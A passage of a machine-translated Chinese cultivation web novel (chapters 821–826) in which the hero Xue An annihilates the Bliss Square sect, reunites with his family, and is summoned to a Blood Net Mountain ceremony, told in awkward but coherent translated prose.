

    This group of golden flames broke apart, completely covering Chu Lele, Fan Qinghuang and others.


    "Don''t...!"


    Fan Qinghuang and these elders were struggling painfully, trying to escape.


    But this golden flame is so terrifying.


    As far as the scope is concerned, it is like the scorching sun melting gold and burning everything.


    Therefore, this group of elders did not even support a breath, they were burned to nothing.


    The Brahma Blue Phoenix supported it for a little longer, but only had time to make the last scream, and the whole body began to burn a little bit.


    "Master, save me!" Fan Qinghuang yelled frantically.


    But at this time, Chu Lele was already overwhelmed by herself, barely opening a barrier in mid-air, which was not affected by Jin Yan for the time being.


    Therefore, facing her disciple''s request for help, she could only watch helplessly.


    In the end, Brahma Blue Phoenix let out a desperate scream, and the whole person completely collapsed and turned into nothingness.


    "Xue An, you are so cruel!" Chu Lele roared bitterly.


    Xue An said indifferently: "Didn''t you Bliss Square pay attention to breaking all emotions into immortals and becoming ancestors? Why can''t you get rid of the fear of death now?"


    This sentence made Chu Lele a little startled, and at this moment, the flame dragon wobbled its tail.


    The huge dragon tail slammed directly on Chu Lele''s barrier.


    She screamed, and the barrier burst into pieces, and Jin Yan instantly covered her body.


    Although Chu Lele had a high level of cultivation, she was not the opponent of Burning Heaven and Golden Flame, but within a few breaths, her body began to lose its hold, disintegrating and burning.


    Finally, after Chu Lele made the last scream.


    Her whole body completely disappeared.


    Shenlong bowed his head, Xue An stepped up and stood on the sky, overlooking the secret realm covered by boundless golden flames, and smiled coldly.


    "I know you are not dead, because this piece of heaven and earth was originally transformed by your own cultivation. As long as this piece of secret realm is not damaged, you will always exist, right?"


    As soon as this sentence came out, the world shook, and then a cold voice came from the void.


    "Xue An, you can''t kill people, but now you have completely wiped out the people in My Bliss Square. What do you want?"


    "I don''t want to do anything, just to see if you are not pleasing to the eye, kill you!"


    "Xue An, I admit that you are indeed strong enough, but this world is only my own, you can''t destroy me!" Chu Lele said coldly.


    Xue An smiled faintly, "Oh? Really? But in front of me, nothing is indestructible!"


    "You...what do you want to do?" Chu Lele''s voice showed a touch of panic Xue An waved his hand, and the dragon under his feet was covered with golden flames.


    "Since you only hold this world, then I will destroy this world!"


    After all, the endless golden flames filled the entire secret realm and began to burn everything.


    In front of this powerful Jin Yan, the heaven and earth began to tremble violently, and there was a continuous sound of cracking.


    This is a sign that the source of the secret realm has begun to be damaged.


    "Xue An, I was wrong! Please give me a chance, I will never dare anymore!" Chu Lele was finally frightened and began to shout for mercy.


    Xue An said indifferently: "This is what you have imposed on others! Burn the sky!"


    boom.


    Jin Yan''s reach.


    The mystery is cracked.

 Chapter 821： Rushen Ling Chen

    now.


    In the sky above the former Bliss Square.


    Mu Ya, the blissful goddess, is standing here, anxiously waiting for Xue An''s return.


    She also wanted to follow into that secret realm.


    Unexpectedly, one step later, the secret realm disappeared into the invisible.


    In desperation, she had to wait outside while praying in her heart that Xue An could return safely.


    At this moment, dozens of streamers appeared in the sky, and in a flash, they came to the front.


    After standing still.


    These people are tall, short, fat and thin, and there are all kinds of people.


    The leader was a man with a sullen face and a green face.


    Mu Ya''s face sank.


    Because she recognized these people.


    Those who came were all from the Zongmen near Bliss Square.


    For example, this hideous, green-faced man is Li Potian, the master of Guiyu Peak, thousands of miles away.


    What are they doing here?


    Mu Ya had some calculations in her heart, and then shouted coldly: "Fenglord Li, what are you doing here with so many people?"


    When Li Potian saw Mu Ya, he was taken aback for a moment, and then hurriedly said with a flattering smile: "My lord, we all felt the wave that shook the world just now, so we came here! Strange, I remember Bliss. It''s here! Why is there no more?"


    Mu Ya said lightly: "Why not, isn''t it?"


    With that, Mu Ya pointed to the valley that had been razed to the ground.


    "How... how is it possible?"


    The people who came to Li Potian were all dumbfounded.


    Guikufeng is a small sect.


    There are only two or three hundred disciples under the sect, and even the sect master Li Potian is just a half-step golden immortal powerhouse.


    Therefore, his Ghost Cry Peak largely depends on the support and help of Bliss Square.


    To put it bluntly, he is equivalent to a dog kept under the gate of Bliss House.


    But this does not prevent him from living well.


    This time he was having a wedding drink with a dozen nearby sects.


    Because he just took in the concubine in room 38.


    Unexpectedly, during the banquet, Li Potian and others suddenly felt a strong spiritual fluctuation.


    The location is precisely from the location of Elysium.


    These people were all taken aback.


    I don''t know what happened.


    Then I heard a loud noise that resounded throughout the world.


    Although this loud noise was thousands of miles apart, it still shocked Li Potian and others.


    Until a long time passed.


    The voice gradually disappeared,


    Then Li Potian and the others couldn''t help looking at each other.


    "It''s the Bliss Square where something happened!"


    "Would you like to check it out?"


    The people of these small sects all shuddered.


    If something happened to Bliss Square, they would die if they rushed over.


    But Li Potian said solemnly: "If we don''t go, if Bliss Square settles after the fall, who of us can afford it?"


    When this sentence came out, everyone was silent.


    Yes!


    If they all stay behind.


    If the people at Bliss Square turned around afterwards, who could bear it?


    "Furthermore, that Elysium is one of the three heavenly sects. Who would dare to break ground on Tai Sui? I guess it might be a certain elder who succeeded in retreating, causing the world to change! We are now in the past, and we happen to have one in front of Elysium. good impression!"


    Although this Li Potian looks fierce, but his heart is as careful as a hair, this is also the reason why he can live so moisturized in the land where the powerhouses are born with such a low level of cultivation.


    The people of these small sects all nodded when they heard this, thinking that what Li Potian said was reasonable.


    So this group of talents rushed to the Bliss Square.


    But the more you rush, the more these people feel that something is wrong.


    Because the phantom arrays of traps along the road were all very violently destroyed.


    Someone seems to have passed by.


    This made Li Potian and others secretly startled.


    But it''s already here, so I can only bite the bullet and go on.


    at last.


    The group of them came to Yunwu Peak where the Bliss Square was located.


    But to their surprise, the huge city that once stood here has disappeared.


    Li Potian looked at each other.


    "Could it be that we went wrong?"


    "How is it possible? I can remember this place for a lifetime and still make mistakes?"


    Li Potian''s face sank like water, waved his hand to stop these people from arguing, and then flew forward for a while before he saw Mu Ya, the heavenly woman of bliss.


    After listening to her personally say that the place that has been razed to the ground is Bliss.


    Including Li Potian, everyone gasped.


    "Heaven... Lord Goddess, this... what''s going on? Who did it?" Li Potian said with difficulty, the hairs all over his body were erected, and his inner vigilance was raised to the highest level.


    If there is any disturbance, he will turn around and run without hesitation.


    After all, it was not something he could afford to razed a heavenly sect like Bliss Square to the ground.


    Even people can crush themselves to death with one finger.


    But the scenes still have to be said, otherwise this blissful lady stared, maybe she would have to die now.


    Alas, I am too difficult! Li Potian thought silently.


    Because if you want to be a weak person in this middle domain, you have to walk on thin ice all the time, otherwise you may be the next to die.


    Mu Ya''s eyes gradually lit up when she heard the words, "The man who wiped out this dirty place is a great hero!"


    Li Potian and these people were all a little surprised.


    what happened?


    Why does this sound a bit wrong?


    It stands to reason that the current blissful lady should not be sad, and then gritted her teeth to avenge the teacher?


    Why do you still praise your enemies so much?


    These people are confused.


    at this time.


    Ripples suddenly appeared in the sky.


    Then it broke with a bang.


    A dragon chant resounded through the world, and then the giant dragon formed by flames swept out.


    The powerful Longwei silenced the great dream titmouse in a radius of 100,000 miles.


    Those monsters that are usually fierce and brutal, can''t wait to pierce their heads into the soil at this moment, and their entire body is squatting on the ground, shivering.


    And Li Potian these people were directly shocked by this aura for more than ten miles After barely standing firm, their complexions became pale as paper, and they looked at the station with extremely awe. The man above the dragon''s head.


    This man stood jade with a long body, standing above the dragon''s head, like a **** Lingchen, making people afraid to look directly.


    The teeth of Li Potian and others were shaking.


    Some people even couldn''t control the panic in their hearts, and thumped and knelt in the air.


    Xue An only glanced at this group of people, then looked at Mu Ya, and said lightly: "Elysium has been completely eradicated. From then on, there will be no such sect in this world!"


    Hearing these words, Li Potian and others felt a chill in their hearts.


    really.


    Was this man the one who killed Bliss Square?


    When Mu Ya heard the words, tears burst into her eyes, and then bowed down, and said with a choked voice: "Mu Ya, thank you for your kindness!"

 Chapter 822： Brahma is really charming

    "Get up! The people of Bliss Square take the blame and can''t blame others!"


    As soon as the voice fell, Xue An gave a slight surprise.


    Because a tangy smell filled the whole world.


    Mu Ya, who was kneeling in the air, shone in light, and her momentum was rising.


    In an instant.


    This Mu Ya has completed an unimaginable transformation.


    Look up again later.


    The eye wave was just a random movement, which made Li Potian''s group completely stunned.


    A faint smile appeared at the corner of Xue An''s mouth, "Your talent is really good. After you untie the knot, you actually upgraded your Meigu from Brahma Meigu to Brahma true Meigu! It''s your good fortune!"


    Don''t look at it, there is only one more true word, but the gap in it is like heaven and earth.


    The previous Mu Ya also needed to deliberately display, in order to show the power of this brahma charm.


    Can wait to become Brahma''s true charm.


    Her words and deeds, her exhales and breaths, the charm will always be there.


    Moreover, this Brahma''s true charm bone is considered to be a medium talent root in the heavens and the world.


    So Xue An nodded in praise.


    And this Mu Ya stood up, silently felt her own changes, and then smiled at Xue An.


    "Everything is due to the adults!"


    thump! thump!


    Several people on Li Potian''s side fell directly from the air.


    Even Li Potian barely supported him, and he didn''t show too much ugliness.


    All because of this Muya''s smile is simply too charming.


    That kind of amorous feelings is beyond the tolerance of ordinary cultivators.


    Even the strong Golden Immortal will be infected and controlled unknowingly.


    This is the power of this Brahma''s true charm.


    But all this has no effect on Xue An.


    He smiled slightly, "Okay, it''s time to go back!"


    Seeing Xue An as calm as usual, Mu Ya''s eyes flashed with disappointment, but immediately nodded with a smile.


    "Ok!"


    "Come on, this dragon can condense for an hour, enough to hurry back."


    "Yes!"


    Mu Ya boarded the Shenlong, and then the Shenlong soared up and disappeared into the sky in a flash.


    Until no longer see the figure of Shenlong.


    These talented Li Potian let out a sigh of relief.


    "My god, who is this man? How could he be so powerful?"


    "Also, his dragon is obviously condensed by secret technique, but that dragon is so powerful that it is hard to look at it."


    "But why did he kill Elysium? Also, why is the Elysian goddess so respectful?"


    These people started talking.


    Li Potian stood in the high altitude not far away, his face pale, and his whole body was trembling slightly.


    "Feng Li, what''s wrong with you? Why don''t you speak?"


    "That is, Feng Master Li is extremely wise. Do you have to give an opinion on this matter?"


    These people said.


    Li Potian hadn''t heard of it, still staring at somewhere on the ground.


    These people looked at each other, and they all rushed over, looking in the direction that Li Potian could see.


    "Strange, there doesn''t seem to be anything surprising there?"


    "Yes, there is nothing but this huge pit!"


    These people are wondering.


    Li Potian took a deep breath, and then said astringent: "Everyone, do you know how this big pit came from?"


    These people were startled.


    "Feng Li, you don''t want to sell it anymore, just say it!" someone said impatiently.


    Li Potian said calmly: "Don''t you find that this big pit is newly formed?"


    "So what?"


    Li Potian smiled bitterly, "So what? Let''s take a look at the Bliss Square here!"


    Everyone turned their heads to look at Bliss Square, which had been razed to the ground.


    "Did you see it? This Bliss Square was once located on the top of Yunwu Peak, and next to Yunwu Peak is an abyss. But now it has become a flat ground, but... but look at the traces in the distance!"


    When Li Potian said this, he began to tremble uncontrollably again.


    These people looked in the direction Li Potian pointed, some of them hesitated for a while, and then they seemed to understand something, and then they were also blankly blanked.


    There were only a few who were really stupid, and said inexplicably, "I didn''t see anything? What''s the matter?"


    "Stupid, didn''t you find out that this Bliss Square was smashed into the ground by a high mountain? And this big pit with a radius of one hundred li is the trace left after someone uprooted the high mountain here!"


    Listen to Li Potian''s explanation.


    Everyone is stupid.


    Actually someone can move mountains and seas?


    If you hear other people��s rumors, these people might not believe it yet.


    But the big hole in front of me stood there quietly.


    And Bliss Square, one of the Three Heavenly Sects, has also been destroyed.


    This shows that everything is true.


    Thought of this.


    The faces of this group of people became pale.


    Who is the man who just stood on top of the dragon? Actually there will be such a strong strength?


    Could it be... he is a true fairy?


    As soon as this idea came out, these people felt their throats tighten and their hairs were standing straight.


    What a fairy!


    That is the existence at the top of Guiyi.


    And can a true immortal make a bold move and annihilate a heavenly sect, what secret is there in it?


    One thought ends here.


    Li Potian was the first to be the one who couldn''t help it, "Everyone, I''m so sorry, I suddenly felt unwell, so I no longer entertain you, and I guess I have to cultivate for a while for this disease, so Ghost Cry Peak will close the mountain and close three sects. Month! Goodbye!"


    After all, he turned around and left here without hesitation.


    The rest of these people looked at each other, and then dispersed with one of them.


    In an instant, this place became empty again.


    Until a long time passed.


    The space fluctuated suddenly, and then a scarlet figure appeared.


    He carefully inspected the big pit and the Bliss Square that was smashed into the ground, and flew into the sky, carefully examining what.


    For a long time a hoarse and unpleasant voice came from this blood-covered figure.


    "I can pull up the mountain and destroy the secret realm. This person should not be underestimated. It may even be a true immortal cultivation base. You must go back and report this matter to you adults!"


    With that, his figure gradually faded, and finally disappeared in place.


    at the same time.


    In that Bliss City, the atmosphere is also a bit strange.


    Xue An blasted the Bliss Tower into a fan with a shocking punch, which naturally shook the strong man in the city.


    Then these people know the ins and outs of things.


    And knew that Xue An was going to slaughter Bliss Fang.


    This thing always sounds a bit weird.


    Because that is one of the three heavenly sects.

 Chapter 823： Baiyi Shengxue

    Although Xue An''s strength is enough to make people feel shocked.


    But a person single-handedly slaughtered a sect, which always sounded a little unreliable.


    Therefore, the atmosphere of Bliss City at this moment is very strange.


    Many powerful families have set their sights on this small building where Anyan lives.


    But no one dared to get closer.


    Because Xueliu was sitting cross-legged on the top of the small building with a sword between his knees, he was closing his eyes and meditating.


    But it was such a person, but the strong man in the city did not dare to cross the thunder pond half a step.


    Because someone who was not convinced just crossed the boundary of the small building, but his foot just hit the ground.


    There were several biting sword lights flying across the sky, instantly beheading them on the spot.


    Then several people tried to rush over, but they all ended up with blood on the spot.


    Among them, there is even a long-established half-step Jinxian strong.


    But it also failed to survive a face-to-face encounter.


    This result makes many strong people who are peeping in the dark appalled.


    But this does not make everyone retreat.


    They are all watching and waiting in secret.


    A little bit of time passed.


    Xue An has not returned yet.


    The atmosphere in the small building gradually became serious.


    Bai Qinger helped Jian Qi bandage the wound, then watched Xueliu sitting on the top of the small building, and sighed slightly.


    "I don''t know when your lord will come back!"


    Jian Qi''s expression is also very solemn, "I know that Bliss Fang has many strong people, and the current Fang Qinghuang is a generation strong. Is it too reckless for adults?"


    Bai Qinger shook his head when he heard the words, "Don''t use your own thoughts to speculate on adults. In my opinion, adults will definitely win. It''s just a matter of time!"


    Jian Qi was slightly startled when he heard the words, "You seem to have confidence in adults!"


    Bai Qing''er nodded very seriously, "Of course! If you have seen an adult beating the audience, you are guaranteed to think like me!"


    "Moreover, there seems to be an unspeakable temperament in the adult, as if there is nothing in the world that can make him difficult!"


    Jian Qi was a little silent when he heard the words.


    She hadn''t seen how Xue An took action to shock the audience.


    But from Bai Qinger''s words, Xue An''s extraordinaryness can also be heard.


    In the bedroom, after the two little girls had eaten enough, they brought two small stools and sat on the side of the bed, quietly waiting for An Yan to wake up.


    The solemn atmosphere also infected these two little girls, making their faces tense.


    Suddenly, Xue Nian whispered: "Sister, I saw my mother''s finger just moved!"


    "Huh? Why didn''t I see it?"


    "Really moved! If you don''t believe me, look!"


    The two little girls stared quietly with their eyes widened.


    But a full five minutes passed without seeing any movement.


    Xue Xiang rubbed his astringent eyes, "Silly Niannian, are you wrong?"


    "Impossible, how could I read it wrong! Mom''s hand moved clearly! Ay! Sister, look at it, it really moved!"


    Xue Nian yelled.


    Xue Xiang quickly released the hand rubbing his eyes and looked over, but after a while, he still found nothing.


    Xue Xiang couldn''t help but knocked Xue Nian on the head, "You are not allowed to make this kind of joke with me!"


    "Sister, I didn''t joking with you, it''s obviously moved!" Xue Nian was full of aggrieved feelings.


    "Who is it obviously?"


    "Oh, sister, I really didn''t lie to you!"


    "Who am I really not?"


    "I will ignore you if you do this!" Xue Nian was a little annoyed.


    "Hehe, who told you to prank me first?"


    The two little girls are bickering here.


    An Yan, who was lying on the bed, suddenly moved.


    This time the two little girls saw them all and rushed over immediately.


    "Sister, I didn''t lie to you!" Xue Nian didn''t forget to say something.


    At this moment An Yan''s eyes slowly opened.


    The two little girls scrambled to put their heads together.


    "Mom, are you finally awake?"


    An Yan''s eyes were full of confusion, but it was only after a while that she gradually returned to normal.


    Then smiled and stretched out his hand to stroke the cheeks of the two little girls.


    "Silly girl, have you two been here forever?"


    The two little girls nodded, "Hmm!"


    "How long have I been in a coma?" An Yan asked.


    Xue Nian broke his fingers and started counting.


    Xue Xiang said without hesitation: "Mom, you have been in a coma for five days!"


    "What? So long? What do you do if you eat?" An Yan was surprised and asked quickly.


    "At the beginning we ate snacks, but after all the snacks were eaten, we were hungry for a day! I was so hungry at the time! My sister said to steam the buns, and I helped her make a fire, but Lei Zun was too angry People, I actually burnt the pot, and then my father came back, and the braised fish and steamed fish that my father made for us were delicious. I have never had such a delicious braised stew and..."


    Xue Nianxu talked about the running account, and when it came to the braised rice, he couldn''t help taking a sip of water.


    An Yan hurriedly asked, "Your father has come back? Where has he gone now?"


    Xue Nianzheng wanted to talk, Xue wanted to cover her mouth, "Shut up, you are too long-winded!"


    Then Xue Xiang turned his head and said to An Yan: "Mom. Dad took the Tiannv sister and left, saying that he was going to deal with a big bad guy!"


    An Yan was confused.


    He simply got up and got out of the bed and walked outside.


    At this time, Bai Qing''er and Jian Qi were in the courtyard.


    As soon as I saw An Yan came out.


    The two were also taken aback, and quickly walked over to salute.


    "Madam, you are awake!"


    An Yan couldn''t help it, and asked straightforwardly: "Where is Xue An?"


    The two looked at each other, and then Bai Qing''er said: "Madam, don''t worry, the adults have taken the Lady of Bliss to eradicate Bliss Fang!"


    "Elysium..."


    Although it is not clear what is going on, An Yan also knows that Bliss Square is one of the Three Heavenly Sects.


    Such a powerful sect.


    My husband goes alone...


    An Yan took a deep breath, "How long has he been there?"


    "Quick... it''s almost a whole day!"


    An Yan looked pale.


    If it was before, she would not be so worried.


    But the ominous premonition that day left An Yan still lingering fear.


    So she was really worried.


    at the same time.


    Many strong people in the city also began to talk.


    "It''s almost twelve hours! This Xue An hasn''t come back yet! I guess it''s a bit hanged!"


    "Who said no! Although this man is powerful, is Bliss Square a vegetarian? He actually dared to go alone, really looking for death by himself!"


    Among these discussions, there are cynics, calm analysts, and regretful ones.


    But without exception.


    None of these people have much confidence in Xue An''s journey.


    But at this moment.


    A strong wave came from Skyrim.


    Everyone looked up one after another.


    Just heard a dragon chant resounding across the sky.


    Then I saw a red and white body with a jade-like dragon head flying across the sky, landing over the city of Bliss.


    As far as Longwei could reach, the entire Bliss City was trembling.


    And standing on top of the leader, white clothes wins Xue, standing proudly, who is not Xue An?

 Chapter 824： 1 person kills 1 case

    now.


    The huge Bliss City was silent.


    The strong people all over the city watched this scene dumbfounded.


    Standing on the dragon''s head, Xue An overlooked the city at his feet, and said lightly: "The Elysium is gone. Since then, there will be no more bliss in the world."


    boom.


    Although people had expected it long ago, when Xue An really announced it, everyone was shocked.


    How existed Bliss Square was actually destroyed by this man alone, it sounded like a fantasy.


    But the facts before them could not help but they did not believe it.


    And those who still have a hint of prying heart hidden in their hearts, at this moment, they are even more pale, sweating all over, and dare not feel the slightest unwillingness to accept it.


    This situation makes many observing practitioners sigh.


    This man standing on top of the Shenlong used his own power to destroy the Bliss Square, and the oppressive man in the city did not dare to raise his head.


    This kind of invincible power is almost unprecedented, making people afraid to look directly.


    At this time, Xue An in the sky had already seen An Yan standing in the small courtyard.


    He smiled slightly, Shenlong landed, and walked into the small courtyard.


    "Yan''er!" Xue An said lightly.


    An Yan looked at Xue An carefully, and saw that he was safe and sound, the big rock in her heart was considered to have fallen to the ground, and then she couldn''t help laughing: "Husband, you..."


    Before the latter words were said, Xue An had already embraced her in his arms.


    An Yan trembled all over, then let out a cry, "Many people..."


    Xue An looked around the courtyard after hearing this.


    Xueliu, Bai Qinger Jianqi and others all bowed their heads and quietly retreated.


    A touch of sadness flashed in the eyes of the blissful female Mu Ya, but she retired respectfully.


    Xue An and An Yan were left in the courtyard.


    At the same time, the divine dragon hovered in the air, then it broke into fragments and dissipated between heaven and earth.


    This naturally caused a commotion from the strong in the city.


    Because many people think this dragon is real.


    Unexpectedly, it was condensed by Xue An with secret techniques.


    But how can such a condensed fake dragon have such a powerful dragon?


    In the eyes of these powerhouses, Xue An''s image became more and more tall and mysterious.


    But Xue An didn''t have the time to pay attention to this. He quietly hugged An Yan, resting his chin on her head, and whispered, "Yan''er, thank you for your hard work!"


    An Yan buried her head in Xue An''s arms and said dullly, "My husband, I was really scared that day!"


    When she said this, An Yan recalled the scene that day.


    The intense anxiety made her tremble slightly.


    Xue An hugged her heartily, "Okay, don''t be afraid! Am I okay? And I promise you that this kind of thing will never happen in the future!"


    "Hmm!"


    An Yan replied, and at the same time, a grunting noise suddenly came from her stomach.


    Xue An laughed, "Hungry?"


    An Yan blushed and nodded, "A bit!"


    "Fool, why don''t you get something to eat when you wake up?"


    "I am not worried about you, I want to wait for you to come back!" An Yan said.


    Xue An was startled slightly, then took a deep breath, "Let''s talk, what do you want to eat, my husband will make it for you!"


    At this moment, Xue Nian suddenly poked his head out from behind the window, "Dad, I still want to eat braised pork!"


    Xue Xiang also stuck his head out a little helplessly, "Silly Niannian, didn''t I tell you not to stick your head out?"


    "But I want to eat braised in soy sauce again!"


    And An Yan yelled, "When did you two little girls hide behind the window?"


    "Hehe, since my father hugged you! But Mom, we didn''t see anything, we just kept hiding behind the window!" Xue Xiang said with big innocent eyes.


    An Yan''s cheeks flushed, and she gave a light mouthful, "You two little girls, see if I won''t beat you!"


    With that said, she wanted to fight.


    The two little girls ran away smilingly.


    At the same time, Xue Nian did not forget to turn around and shouted: "Dad, remember to braise it again!"


    Xue An laughed, "Is one plate enough?"


    "Enough! Thank you Dad! Dad is so kind!"


    Then Xue An turned his head and looked at hiding in the corner, silently thinking that he couldn''t see me, couldn''t see my pan.


    As I could see, the pan trembled all over and quickly changed into a pot for cooking.


    Then Lei Zun''s flattering voice came from it, "Sir, it is my honor to cook for you. Do you think I am still satisfied with my form? I''ll change if I''m not satisfied."


    Just when Xue An and his family were enjoying the warm daily life.


    The news that Bliss Square was destroyed by Xue An spread like a hurricane, like a heavy bomb, completely sensationalizing the entire Middle Region.


    In the beginning, people''s first reaction to this news was not to believe it.


    After all, this sounds incredible.


    But afterwards, when it was confirmed that the matter was true, everyone was silent.


    One person destroys one case.


    This kind of thing has not happened before, but it is generally aimed at the small sect.


    There has never been a precedent for a big sect such as Elysium.


    But this is just the beginning.


    Immediately afterwards, everything that happened in the legacy of the Great Dream spread wildly.


    Ye Chongshan, the young master of the evil demon valley, Li Hanqing, the master of Zhanhong, and Xing Dannan, the strong one.


    Any of these people is a resounding peerless powerhouse.


    The result was destroyed by Xue An alone.


    Public opinion was boiling for a while.


    Many people shook their heads secretly.


    Think this Xue An is simply too arrogant.


    Because he is equivalent to offending the three great heavenly sects with his own power.


    Oh, it should be two great heavenly sects.


    Because one of them has been destroyed.


    And the host of Zhanhong has also fallen, and is considered abolished.


    But the Valley of the Fierce Demon alone is enough to be frightening.


    After all, Ferocious Demon Valley is known as the number one in the Three Heavens Sect, and there are even rumors that the strength of Ferocious Demon Valley is stronger than the combination of Red Mansion and Bliss.


    Now that the young master of the evil demon is annihilated, how can this evil demon valley give up?


    Just when these people were shocked by Xue An''s boldness.


    Another news came.


    The true disciple of the Blood Net Mountain of Yuanzong, the fifth in the questioning list, Luo Sanqian, who is known as the first person of the magic runes of the first domain, also fell into the legacy of the big dream.


    Murderer, Xue An!


    Hearing this news, everyone in UU reading was all guilty.


    Yuan Zong, Blood Net Mountain, Luo Sanqian!


    Each of these names is awe-inspiring existence like a god.


    But it also died in the hands of Xue An.


    This can no longer be described as arrogant.


    This is almost equivalent to breaking a hole in the sky.


    At the same time, rumors spread.


    Many family sects began to suspect that these things were not done by Xue An alone.


    After all, if these things were really done by him, how bad is his cultivation?


    If there is such a god-defying cultivation base, why hasn''t he revealed it before?


    In short, the whole situation has become more and more complicated, and countless people have turned their eyes to the Blood Web Mountain and the Valley of the Fierce Demon, waiting for the response of these two sects.

 Chapter 825： 1Paper Talisman Questioning the True Ceremony

    Beyond everyone''s expectations.


    Regardless of whether it was the Blood Web Mountain or the Valley of the Fierce Demon, they all remained silent on the matter.


    This attitude made the powerhouses of the entire Middle Territory secretly surprised.


    How is this going?


    Could it be said that the Blood Web Mountain of the Shi Yuanzong and the Valley of the Devil''s Devil, the No.1 Heavenly Sect, would bear this breath?


    Or... are they scared?


    As soon as this idea came out, many people''s minds began to change gradually.


    If this is the case, then this Xue An is simply too powerful, and can even be said to be the first person Yuanzong dared not raise his head under his own strength.


    Ever since, this city once for bliss has become more prosperous.


    Every day, countless strong people come here, wanting to see Xue An''s style.


    But no matter where the strong came here, Xue An never showed up, but lived in that small building all the time.


    So around this small building has become a gathering place for countless strong people.


    But there are still many people who don''t think that the people of Blood Net Mountain and Occult Demon Valley will just let it go.


    They watched indifferently, wanting to see how things would develop.


    Under the seemingly calm water, there is a raging undercurrent.


    This day.


    The city that has been renamed Dream City remains prosperous.


    Lots of thoughtful quartet powerhouses make the restaurants and tea shops in this city prosper.


    now.


    Above a restaurant that is only one street away from the small building where Xue An lives.


    Many practitioners are talking about it.


    "It''s been ten days since I''ve been here, but I haven''t even seen this Xue An''s face once, and this Master Xue''s frame is a bit too big!" said a young man in brocade and garb.


    "Hehe, are you so impatient after only ten days? I have been here for fifteen days, and I have even lived in this restaurant for ten days. The result is not the same?" A middle-aged cultivator smiled bitterly. Tao.


    "Let me say, this Master Xue dare not show up, right? After all, he has many enemies now!" Another person said lightly.


    "I think it''s the same reason, but I don''t know why this time the Occult Demon Valley and Yuanzong will keep silent!"


    "Could it be that you are afraid?" the boy asked.


    "Ha ha!"


    Everyone shook their heads when they heard the words.


    "Let��s not say that Xue An��s deeds are all suspicious. Even if he did it, why would Yuanzong Blood Net Mountain be afraid? You know, there are immortals guarding this blood net mountain!"


    Hear this sentence.


    Everyone in the restaurant changed their colors.


    In the Guiyi Middle Territory, becoming the golden immortal powerhouse can guard one side and become the master of a city or a small sect.


    Going one step further and becoming a half-step true fairy is already a great figure in the entire middle domain.


    This kind of existence is already the first level of the township elders of the major sects, and their status is very respected.


    And if you can cross the sky, become a true immortal.


    That is the existence of a handful of the entire Central Region, and it can even be said that the entire Central Region trembled with a stomping.


    The head of the Sect Master of the Three Heavens Sect is usually this cultivation base.


    But the reason why the Blood Net Mountain can be honored as Yuanzong is because they are guarded by a fairy monarch in their faction.


    The immortal monarch refers to the existence that has reached the peak of the true immortal and touched the edge of Daluo.


    This kind of existence is truly rare.


    Even looking at history, not many people can reach this level.


    The former Great Dream Sword Sovereign can be called Xianjun.


    "Then why don''t both the Blood Net Mountain and the Murderous Demon Valley make a statement about this matter?"


    "I don''t know this, but I always feel that the more calm, the more fearful it is."


    At this moment.


    Suddenly, I heard a noise outside.


    "Look, what is that?"


    Everyone in the restaurant rushed out when they heard the words, and when they looked up, they couldn''t help being stunned.


    I saw a ray of colorful glow in the sky in the distance.


    And along with the rays of light, it is a heart-palpitating spiritual fluctuation.


    "what happened?"


    Everyone is wondering.


    See the colorful rays of light coming in an instant.


    After standing still, people could see that it was a cart pulled by a double-headed dragon.


    And on top of the car, stood a young man with fluttering clothes, like a fairy boy.


    This young man drove the chariot to the top of the Big Dream City, and when he showed his hand, a yellow talisman that looked like an imperial edict appeared in his hand.


    "By the order of the mountain lord, after ten days, the Blood Net Mountain will hold a ceremony for asking the truth, and will rearrange the seats of the heroes of the world at that time! Xue An is specially invited to go!


    These words came out.


    The whole city of Dreams was shaken.


    "God! It''s actually a grand ceremony for asking the truth! It''s really lively now!"


    "Is there anything strange about this grand ceremony?" the young man in Jinyi asked.


    "Hehe, I''m really young! Do you know the questioning list? This questioning true festival is arranged on the questioning list. I remember that the last time it was held was 30 years ago, but I didn''t expect it to be held again this time! Young heroes from all domains will gather together. This is a once-in-a-lifetime event!"


    Hear this man''s explanation.


    Many people can''t help showing their fascination.


    "But the Blood Net Mountain actually invited Xue An to go, which is interesting! Ha ha, I guess... this grand ceremony will not be that simple!"


    at the same time.


    Snow drifted into the air and appeared in the sky.


    The messenger smiled at her slightly, "Snow Maiden, I will save trouble if you are here too. You are also invited to this festival!"


    Xue Liuli nodded slightly.


    Then the messenger asked with some doubts: "Why is this Xue An not showing up?"


    At this moment, I only heard a lazy voice coming from the small building, "Okay, I know! I will go there then!"


    Seeing Xue An didn''t come forward to greet him, the face of the messenger couldn''t help flashing an unpleasant color.


    You should know that as the messenger of Blood Net Mountain, he is very respected no matter where he goes.


    There has never been someone so big as Xue An, not even showing his face.


    Therefore he could not help but snorted, "Xue An, why don''t you come out to welcome Fu Zhao?"


    Hearing these words Xue Liuli''s complexion changed, and she was about to say something.


    Just listen to Xue An''s chuckle from the small building, "Gong Ying Fu Zhao? You are worthy too!"


    The messenger''s face sank, his heart was angry, and he was about to speak.


    Seeing a sword light flying across the air, it directly cut the yellow talisman in the hand of the messenger in half.


    "If you dare to talk nonsense, you will be like this! Get out!"


    The messenger woke up like a dream. He lowered his head and glanced at the talisman that had been broken in half. The expression on his face changed, and a flash of resentment flashed in his eyes. Then he said coldly: "If this is the case, then I will wait. Waiting for a big drive on the Blood Net Mountain!"


    After that, he turned to the wheel and left angrily.


    And until the car has gone far.


    Everyone in the city gradually woke up, and then there was a commotion.


    "Tsk tusk, you don''t even give the face of Blood Net Mountain! It really is domineering!" Someone couldn''t help sighing.

 Chapter 826： Talent yoke

    But more people looked at each other, and then all quietly left this big dream city.


    Because in their opinion, Xue An is dead this time.


    From ancient times to the present, no one can survive after offending the Blood Net Mountain.


    Although this Xue An is tyrannical, after all, it is difficult to sing alone, and there is even a peerless fairy sitting in the blood web mountain. This kind of strength comparison naturally makes many people think that Xue An will end with nine deaths and no life.


    So this big dream city soon became empty, and the once prosperous scene was gone.


    Such a front-to-back comparison made An Yan feel cold and very angry.


    Xue An just smiled at this.


    "It''s human nature to seek advantages and avoid disadvantages. You don''t have to pay attention to these clumsy repairs."


    "But my husband, these guys have changed a bit too fast before and after. They just wanted to come forward with a face full of flattery, but now they are running faster than rabbits!" An Yan was still a little unhappy.


    Xue An smiled and rubbed her head, "Okay, don''t be angry, when I uproot this blood web mountain, do you believe these people will come faster than anyone else?"


    "Huh, we will absolutely not be able to care about these guys at that time, we must find a way to get them out!" An Yan said angrily.


    Xue An squeezed her face a little funny, just about to speak.


